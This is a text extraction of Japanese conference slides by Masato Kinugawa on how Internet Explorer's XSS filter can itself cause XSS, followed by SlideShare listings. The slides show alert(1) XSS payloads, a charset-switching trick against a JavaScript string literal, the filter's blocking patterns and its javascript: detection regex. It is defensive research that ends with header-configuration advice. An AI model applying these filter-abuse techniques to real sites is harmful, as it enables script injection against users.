XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

CODE BLUE
CODE BLUECODE BLUE
X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
(自重版)
Masato Kinugawa
自己紹介
Masato Kinugawa
自己紹介
Masato Kinugawa
x
s
自己紹介
Masato Kinugawa
x
s
B
バグハンターの愉しみ
自己紹介
話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
ごめんなさい、変更します!
話すこと
XSSフィルターがどういうものか
XSSフィルターとどう付き合うべきか
XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
➡今回はIEのフィルターを取り上げる
IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x onerror=alert(1)>
</body>
</html>
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
遮断前
こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x #nerror=alert(1)>
</body>
</html>
遮断後
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
</head>
<body>
q param is: AAA
</body>
</html>
XSSフィルター導入後の世界
ページの一部が書き換えられる可能性を
すべてのサイトが突然持つことになった
#
#
#
2008 2009
ちょっと変わるくらい
#
#
#
どうってことない?
➡どこか1バイト変わることが
どういうことか考えてみよう!
http://example.com/?q=AAA
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="AAA".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
文字列リテラル内へ
ユーザ入力を動的生成
http://example.com/?q="/</script
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s=""/</script".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html> XSS対策もOK
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html> &lt;svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<scr#pt>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<scr#pt>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<scr#pt>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
UTF-8の解釈
"さ";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ 
Shift_JIS 縺 表
Shift_JISの解釈
"縺表";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ 
Shift_JIS 縺 表
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="縺表";alert(1)//".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
<title>TEST</title>
</head>
<body>
<script>
s="縺表";alert(1)//".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
つまり
1バイトの変更すらリスキー
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-
2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS Filters
実際過去には
XSSフィルターの書き換えだってそう、
慎重に行わないと逆に脆弱にもなる
Eduardo Vela Nava & David Lindsay
2015: 今は大丈夫?
実際の遮断規則が
どれほどのものかみてみよう!
XSSのないありふれた構造のページが
XSSに脆弱になる複数のパターンを発見
大丈夫…ではなかった!
これはさておき
この件は適切に修正された後、公開予定
遮断規則
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる
<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=
<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=
<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=
<button va#ue=
<fo#m>
<texta#ea>
<is#ndex>
<input va#ue=
<option va#ue=
<em#ed src=
<em#ed type=
<if#ame src=
<f#ame src=
<x:vmlf#ame src=
<li#k href=
<im#ort implementation=
<m#ta http-equiv=
<m#ta charset=
<a hr#f
<script src=
<script xlink:href=
<script href=
<script>
<ap#let>
<ob#ect type=
<ob#ect codetype=
<ob#ect classid=
<ob#ect code=
<ob#ect data=
<ba#e href=
<style>@i
<style>:(
<style>:
<style>=(
<style>= 遮断後
<button va#ue=
<fo#m>
<texta#ea>
<is#ndex>
<input va#ue=
<option va#ue=
<em#ed src=
<em#ed type=
<if#ame src=
<f#ame src=
<x:vmlf#ame src=
<li#k href=
<im#ort implementation=
<m#ta http-equiv=
<m#ta charset=
<a hr#f
<script src=
<script xlink:href=
<script href=
<script>
<ap#let>
<ob#ect type=
<ob#ect codetype=
<ob#ect classid=
<ob#ect code=
<ob#ect data=
<ba#e href=
<style>@i
<style>:(
<style>:
<style>=(
<style>= 遮断後
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>TEST</title>
</head>
<body>
<scr#pt>
s="<svg/onload=alert(1)>".replace(/</g,'&lt;');
document.write(s);
</script>
</body>
</html>
<a hr#f
<m#ta charset=
<li#k href=
<script>
DEMO❶
❷
❸
❹
感じてほしいこと
自サイトがどうなるかはフィルター次第
➡そんなのブラウザのバグ?
ブラウザがなんとかしてくれよ?
常に安全にページを書き換えることが
できているとは言えない
そもそもあなたのページは
どこか一部分が壊れても耐え得る作り
になっていると断言できる?
フィルターがやれること
最大限に配慮しながらページを書き換える
#
実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか(あるいは
そうではないのか)、ちょっ
と興味があります。
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
T.Teradaの日記より
http://d.hatena.ne.jp/teracc/2
0090622
実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The answer is
Yes. " だそうです。
はせがわさんのはて
なブックマークの
コメントより
➡Web開発者が危険の面倒をみながら使えばいい?
面倒をみるとは
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
つまり次を行うこと:
できそうですか?
遮断文字列の一例
javascript:1
vbscript:1
vbs:1
遮断文字列の一例
javasc#ipt:1
v#script:1
v#s:1
シンプル?
javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html
これができるなら
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
自分のサイトのXSS全部潰せるのでは…
➡じゃあどうするのがいいか?
X-XSS-Protectionヘッダ
値 効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ
Y
慎重な彼らはどうしている?
HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
...
ちゃっかり制御している!!
より安全を考えた選択
値 選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(発見した手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
X-XSS-Protection:0 か 1;mode=block
mode=blockなら安全?
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で
Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう?
Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう?
遮断時の説明が不親切で、
誤検知時のユーザ対応を考える
と厳しい…。
遮断時の説明が不親切
確かに…
Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては?
僕
開
Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては?
僕
製品動作を優先して不適切に
セキュリティ機能を切っていると
思われる可能性が。
開
XSSフィルターの罠
攻撃箇所だけ遮断して残りは表示してくれる
のが一番スマートにみえてしまう
0 1 block
この動作がリスクそのもの
さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい
http://l0.cm/xxn/
本当のNightmareは
以下で後日公開
エル ゼロ
";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com
1 of 84

Recommended

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方 by
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方Hiroshi Tokumaru
2.7K views50 slides
とある診断員と色々厄介な脆弱性達 by
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
27.1K views37 slides
flaws.cloudに挑戦しよう! by
flaws.cloudに挑戦しよう!flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!zaki4649
9.8K views90 slides
ウェブセキュリティのありがちな誤解を解説する by
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するHiroshi Tokumaru
5.3K views64 slides
PenTesterが知っている危ないAWS環境の共通点 by
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 zaki4649
39.2K views48 slides
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題 by
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題Hiroshi Tokumaru
27.3K views12 slides

More Related Content

What's hot

【Unite Tokyo 2019】Understanding C# Struct All Things by
【Unite Tokyo 2019】Understanding C# Struct All Things【Unite Tokyo 2019】Understanding C# Struct All Things
【Unite Tokyo 2019】Understanding C# Struct All ThingsUnityTechnologiesJapan002
61.6K views67 slides
30分で分かる!OSの作り方 by
30分で分かる!OSの作り方30分で分かる!OSの作り方
30分で分かる!OSの作り方uchan_nos
40.3K views38 slides
最近のやられアプリを試してみた by
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみたzaki4649
24.5K views16 slides
Unityでパフォーマンスの良いUIを作る為のTips by
Unityでパフォーマンスの良いUIを作る為のTipsUnityでパフォーマンスの良いUIを作る為のTips
Unityでパフォーマンスの良いUIを作る為のTipsUnity Technologies Japan K.K.
81.5K views87 slides
標的型攻撃からどのように身を守るのか by
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのかabend_cve_9999_0001
13.9K views133 slides
SPAセキュリティ入門~PHP Conference Japan 2021 by
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
99.5K views107 slides

What's hot(20)

30分で分かる!OSの作り方 by uchan_nos
30分で分かる!OSの作り方30分で分かる!OSの作り方
30分で分かる!OSの作り方
uchan_nos40.3K views
最近のやられアプリを試してみた by zaki4649
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみた
zaki464924.5K views
標的型攻撃からどのように身を守るのか by abend_cve_9999_0001
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
abend_cve_9999_000113.9K views
SPAセキュリティ入門~PHP Conference Japan 2021 by Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru99.5K views
Proxy War by zaki4649
Proxy WarProxy War
Proxy War
zaki464914.7K views
今さら聞けないXSS by Sota Sugiura
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
Sota Sugiura7.6K views
WebSocketでカメラの映像を共有してみた by onozaty
WebSocketでカメラの映像を共有してみたWebSocketでカメラの映像を共有してみた
WebSocketでカメラの映像を共有してみた
onozaty5.2K views
コールバックと戦う話 by torisoup
コールバックと戦う話コールバックと戦う話
コールバックと戦う話
torisoup3K views
CEDEC 2018 最速のC#の書き方 - C#大統一理論へ向けて性能的課題を払拭する by Yoshifumi Kawai
CEDEC 2018 最速のC#の書き方 - C#大統一理論へ向けて性能的課題を払拭するCEDEC 2018 最速のC#の書き方 - C#大統一理論へ向けて性能的課題を払拭する
CEDEC 2018 最速のC#の書き方 - C#大統一理論へ向けて性能的課題を払拭する
Yoshifumi Kawai74.7K views
CVE、JVN番号の取得経験者になろう! by kazkiti
CVE、JVN番号の取得経験者になろう!CVE、JVN番号の取得経験者になろう!
CVE、JVN番号の取得経験者になろう!
kazkiti 2.2K views
テスト文字列に「うんこ」と入れるな by Kentaro Matsui
テスト文字列に「うんこ」と入れるなテスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるな
Kentaro Matsui178.4K views
目grep入門 +解説 by murachue
目grep入門 +解説目grep入門 +解説
目grep入門 +解説
murachue89.4K views
Unity開発で使える設計の話+Zenjectの紹介 by torisoup
Unity開発で使える設計の話+Zenjectの紹介Unity開発で使える設計の話+Zenjectの紹介
Unity開発で使える設計の話+Zenjectの紹介
torisoup125.3K views
ウェブアプリケーションセキュリティ超入門 by Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru48.4K views
とある診断員とAWS by zaki4649
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
zaki464940.7K views
PFSなTLS通信を復号する by 稔 小林
PFSなTLS通信を復号するPFSなTLS通信を復号する
PFSなTLS通信を復号する
稔 小林8.6K views
Jetson活用セミナー ROS2自律走行実現に向けて by Fixstars Corporation
Jetson活用セミナー ROS2自律走行実現に向けてJetson活用セミナー ROS2自律走行実現に向けて
Jetson活用セミナー ROS2自律走行実現に向けて

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo... by
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
407 views72 slides
[cb22] Tales of 5G hacking by Karsten Nohl by
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
93 views34 slides
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A... by
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
112 views132 slides
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter... by
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
14 views13 slides
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之 by
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
28 views13 slides
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter... by
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
27 views21 slides

More from CODE BLUE(20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo... by CODE BLUE
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
CODE BLUE407 views
[cb22] Tales of 5G hacking by Karsten Nohl by CODE BLUE
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
CODE BLUE93 views
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A... by CODE BLUE
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
CODE BLUE112 views
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter... by CODE BLUE
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE14 views
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之 by CODE BLUE
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
CODE BLUE28 views
